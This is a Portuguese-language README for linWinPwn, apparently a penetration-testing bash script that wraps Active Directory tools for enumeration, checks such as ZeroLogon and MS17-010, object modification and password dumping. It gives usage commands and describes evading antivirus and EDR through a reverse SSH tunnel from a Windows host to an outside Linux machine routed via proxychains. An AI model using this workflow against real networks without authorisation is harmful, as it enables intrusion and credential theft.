
Script Bash que integra ferramentas do Active Directory para enumeração automatizada, verificação de vulnerabilidades, exploração e extração de senhas via LDAP, RPC, Kerberos e SMB.
linWinPwn é um script bash que encapsula uma série de ferramentas de Active Directory para enumeração (LDAP, RPC, ADCS, MSSQL, Kerberos, SCCM), verificações de vulnerabilidade (noPac, ZeroLogon, MS17-010, MS14-068), modificações de objetos (alteração de senha, adicionar usuário ao grupo, RBCD, Shadow Credentials) e dumping de senhas (secretsdump, lsassy, nanodump, DonPAPI). O script simplifica o uso de um grande número de ferramentas: impacket, bloodhound, netexec, enum4linux-ng, ldapdomaindump, lsassy, smbmap, kerbrute, certipy, silenthound, bloodyAD, DonPAPI e muitas outras.
Faça o git clone do repositório e instale os requisitos usando o script install.sh
git clone https://github.com/lefayjey/linWinPwn
cd linWinPwn
chmod +x install.sh
./install.sh
Alternativamente, use a imagem Docker pré-construída do Docker Hub
docker pull lefayjey/linwinpwn:latest
# Add linWinPwn_docker to PATH
echo -e "docker run --rm --init -it --net=host -v \$(pwd):/opt/lwp-output lefayjey/linwinpwn:latest \$@" | sudo tee "/usr/local/sbin/linWinPwn_docker"
sudo chmod 755 /usr/local/sbin/linWinPwn_docker
# Run linWinPwn_docker (output to host's current directory)
linWinPwn_docker -t <DC_IP>
linWinPwn_docker -t <DC_IP> -d <domain> -u <user> -p <password> --auto
Ou compile a partir do código-fonte
docker build -t linwinpwn .
docker run --rm --init -it --net=host -v $(pwd):/opt/lwp-output linwinpwn -t <DC_IP>
O script linWinPwn pode ser executado em modo interativo (padrão) ou em modo automatizado (apenas enumeração).
1. Modo Interativo (Padrão) - Abre o menu interativo para executar as verificações separadamente
linWinPwn -t <Domain_Controller_IP> [-d <AD_domain> -u <AD_user> -p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]> -o <output_dir>]
2. Modo Automatizado - Usando o parâmetro --auto, executa ferramentas de enumeração (sem exploração, modificações ou dumping de senhas)
Ao usar o modo automatizado, diferentes verificações são realizadas com base no método de autenticação.
linWinPwn -t <Domain_Controller_IP> --auto [-o <output_dir>]
linWinPwn -t <Domain_Controller_IP> -d <AD_domain> -u <AD_user> [-p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]>] [-o <output_dir>] --auto
Auto config - Executa sincronização NTP com o DC alvo e adiciona entrada em /etc/hosts antes de executar os módulos
linWinPwn -t <Domain_Controller_IP> --auto-config
LDAPS - Usa LDAPS em vez de LDAP (porta 636)
linWinPwn -t <Domain_Controller_IP> --ldaps
Force Kerberos Auth - Força o uso de autenticação Kerberos em vez de NTLM (quando possível)
linWinPwn -t <Domain_Controller_IP> --force-kerb
Verbose - Habilita todas as saídas verbosas e de depuração
linWinPwn -t <Domain_Controller_IP> --verbose
Interface - Escolhe a interface de rede do atacante
linWinPwn -t <Domain_Controller_IP> -I tun0
linWinPwn -t <Domain_Controller_IP> --interface eth0
Targets - Escolhe os alvos a serem escaneados (DC, All, IP=IP_or_hostname, File=./path_to_file)
linWinPwn -t <Domain_Controller_IP> --targets All
linWinPwn -t <Domain_Controller_IP> --targets DC
linWinPwn -t <Domain_Controller_IP> -T IP=192.168.0.1
linWinPwn -t <Domain_Controller_IP> -T File=./list_servers.txt
Custom wordlists - Escolhe wordlists personalizadas de usuários e senhas
linWinPwn -t <Domain_Controller_IP> -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
linWinPwn -t <Domain_Controller_IP> -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt
linWinPwn pode ser particularmente útil quando você tem acesso a um ambiente Active Directory por tempo limitado e deseja ser mais eficiente no processo de enumeração e na coleta de evidências. Além disso, linWinPwn pode substituir o uso de ferramentas de enumeração no Windows com o objetivo de reduzir o número de artefatos criados (por exemplo, comandos PowerShell, Eventos do Windows, arquivos criados em disco) e contornar certos Anti-Vírus ou EDRs. Isso pode ser alcançado realizando encaminhamento de porta dinâmico remoto através da criação de um túnel SSH a partir do host Windows (por exemplo, máquina VDI ou workstation ou laptop) para uma máquina Linux remota (por exemplo, laptop de Pentest ou VPS), e executando linWinPwn com proxychains.
No host Windows, execute usando PowerShell:
ssh.exe kali@<linux_machine> -R 1080 -NCqf
Na máquina Linux, primeiro atualize /etc/proxychains4.conf para incluir socks5 127.0.0.1 1080, depois execute:
linWinPwn_proxychains -t <Domain_Controller_IP> -d <AD_domain> -u <AD_user> [-p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]>] [-o <output_dir>] [--auto]